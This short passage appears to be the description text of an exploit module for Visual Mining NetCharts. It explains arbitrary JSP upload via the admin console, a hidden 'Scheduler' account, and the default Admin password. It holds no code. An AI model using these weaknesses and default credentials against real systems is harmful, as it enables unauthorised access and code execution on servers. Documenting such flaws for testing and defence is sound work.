        This module exploits multiple vulnerabilities in Visual Mining NetCharts.
        First, a lack of input validation in the administration console permits
        arbitrary jsp code upload to locations accessible later through the web
        service. Authentication is typically required, however a 'hidden' user is
        available by default (and non editable). This user, named 'Scheduler',
        can only login to the console after any modification in the user
        database (a user is added, admin password is changed etc). If the
        'Scheduler' user isn't available valid credentials must be supplied. The
        default Admin password is Admin.
